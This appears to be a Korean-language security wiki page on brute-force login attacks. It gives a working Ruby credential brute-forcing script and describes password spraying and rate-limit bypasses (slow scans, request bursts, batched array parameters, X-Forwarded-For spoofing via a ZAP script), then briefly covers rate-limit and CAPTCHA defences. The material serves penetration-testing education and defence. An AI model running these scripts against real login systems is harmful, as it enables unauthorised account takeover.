Brute Force

Introduction

Brute Force 공격은 지정된 wordlist 또는 문자 패턴을 기반으로 반복적인 웹 요청을 발생시켜 보안적인 문제를 만들어내는 공격 기법입니다. 이러한 개념은 Fuzzing과 유사하나 Fuzzing은 잘못된 형식을 데이터를 보내 서비스의 결함을 유도한다면, Brute force는 Password에 대한 공격과 같이 허용된 값을 찾기 위해 다수의 데이터를 보내는 방식입니다.

암호학에선 특정한 암호를 풀기 위해 가능한 모든 값을 대입하는 것을 의미합니다.

Offensive techniques

Testing method

Brute force는 보통 brute force 또는 fuzzer를 이용하거나 따로 스크립팅하여 테스트합니다.

Wordlists

Wordlist로 가장 많이 사용되는 대표적인 저장소가 SecLists입니다.

Fuzzer

Scripting

아래는 form을 대상으로한 Ruby script입니다.

require 'rubygems'
require 'mechanize'

passwordlist = File.open("passwords.txt")
agent = Mechanize.new{|a| 
    a.verify_mode = OpenSSL::SSL::VERIFY_NONE
    }
target = ARGV[0]
user = ARGV[1]

passwordlist.each do |password|
    page  = agent.get target
    form          = page.form_with :id => 'login-form'
    form.username = user
    form.passwd   = password.chomp
    result = form.submit
    if result.body =~ /"success" : true/ 
        puts "SUCCESS #{user}/#{password}"
    end
end

Bypass protection

Password Spraying

만약 로그인 페이지 등에서 각 계정별로 Brute force에 대한 대응 로직이 있는 경우 반대로 패스워드를 고정하고, User list를 이용하여 Brute force를 수행할 수 있습니다. 이러한 형태는 관리자가 신규 계정에 대해 패스워드를 고정해서 생성하는 서비스에서 유용하며 ID 기반의 보호 정책을 무시하면서 다수의 요청을 보낼 수 있습니다.

  • ID: admin, qateam, infrateam …. something
  • PW: default_password

Bypass rate limit (slow scan)

Brute Force에 대한 대응인 Rate limit은 기능을 처리할 수 있는 시간 또는 갯수를 명시하는 형태의 대응 방안입니다. 이러한 경우 테스팅을 통해 시간/Req의 간격을 유추한 후 적당한 Delay를 주어 limit 걸리지 않고 Brute Force를 진행할 수 있습니다.

for _,password := range passwords
    r := SendReq(user,password)
    Sleep(1)
}

Bypass rate limit (many req)

서비스가 여러 Hop으로 구성되고 특정 구간에서 Rate limit이 존재하는 경우 아주 단시간에 엄청나게 많은 Request를 생성하고 동시에 전송하여 Rate limit으로 제한되기 전 최대한 많은 Req를 제한 구역 뒤로 넘기는 형태의 우회 방법도 존재합니다. 이러한 형태의 방법은 일반적인 Fuzzer로는 어렵고, 동시성 처리가 가능하도록 직접 구현한 코드 또는 환경이나 Burpsuite의 Turbo Intruder로 테스팅하는 것이 좋습니다.

간단한 방법을 하나 소개하자면 먼저 Req 흐름을 아래와 같이 구성합니다.

Client -> GW -> Target server

이후 GW에서 요청을 잡아 전송하지 않고 들고 있다가 특정 갯수만큼 쌓이면 한번에 놓아 전송하는 형태로 구성해볼 수 있습니다. 이런 경우 Client에서 Request를 생성하고 전달하기 위해 소요되는 시간을 아낄 수 있습니다.

1) Req * 100000 생성 및 순차 전송 2) GW에서 모든 요청을 잡아두고 있음 3) 특정 조건이나 공격자의 trigger에 의해 GW에서 동시에 놓아 전송 4) 대상 서버에는 단시간에 많은 Request에 동시에 발생하게 됨

Bypass rate limit (big query)

때때로 서비스에서 Array 형태의 Arguments를 처리할 수 있는 경우가 있습니다. 이러한 경우 여러개의 Login 정보를 담은 큰 Request를 전송하여 한번의 Request에 많은 테스트를 수행하도록 구성할 수 있습니다.

POST /login HTTP/1.1

id[0]=user&password[0]=1&id[1]=user&password[1]=2&id[2]=user&password[2]=3

Bypass IP Check

로그인 페이지 등에선 사용자의 세션을 식별할 수 없기 때문에 보통 IP 기반으로 제한하게 됩니다. 이러한 경우 직접 IP를 Rotate 시키거나 X-Forwarded-For 등 IP를 속일 수 있는 헤더를 이용하여 우회를 시도할 수 있습니다.

아래는 ZAP Fuzzer에서 Random IP 기반으로 X-Forwarded-For를 생성하는 스크립트입니다. 자세한 내용은 Random IP in X-Forwarded-For in ZAP 글을 참고해주세요!

function processMessage(utils, message) {
  // 랜덤으로 IP 포맷의 값을 생성합니다.
	var random_ip = Math.floor(Math.random() * 254)+ "." + Math.floor(Math.random() * 254) + "." + Math.floor(Math.random() * 254) + "." + Math.floor(Math.random() * 254);
	// Fuzzing의 Request가 전송되기 전 X-Forwarded-For 헤더에 추가합니다.
	message.getRequestHeader().setHeader("X-Forwarded-For", random_ip);
}

function processResult(utils, fuzzResult){
	return true;
}

function getRequiredParamsNames(){
	return [];
}

function getOptionalParamsNames(){
	return [];
}

Defensive techniques

Rate limit

Brute Force에 대한 대응방안으로 시간/Req 단위로 limit을 걸어 반복 요청의 허들을 높일 수 있습니다. 다만 공격자가 조건을 파악하는 경우 우회할 수 있는 방법을 만들 수 있기 때문에 여러가지 보안 로직을 동시에 적용하여 허들을 높이는 방법이 좋습니다.

  • x 회 이상 실패 시 IP 제한 (특정 시간 기다리거나 관리자 문의로 해소되도록)
  • x 초 내 x 회 이상 요청 시 IP 제한
  • x 회 이상 요청 시 IP 제한
  • 1회 요청 후 x 초의 delay를 가지도록 구현
  • 등 제한할 수 있는 모든 방법

Captcha

Captcha 또한 Brute Force에 대한 좋은 완화 방법 중 하나입니다. IP나 Sessions 등에 특정 횟수 이상 요청이 발생하거나, 또는 중요 기능인 경우 무조건 captcha를 요구하여 자동화된 도구로 반복 요청을 할 수 없도록 제한할 수 있습니다.

Tools

References

  • https://owasp.org/www-community/attacks/Brute_force_attack
  • https://owasp.org/www-community/attacks/Password_Spraying_Attack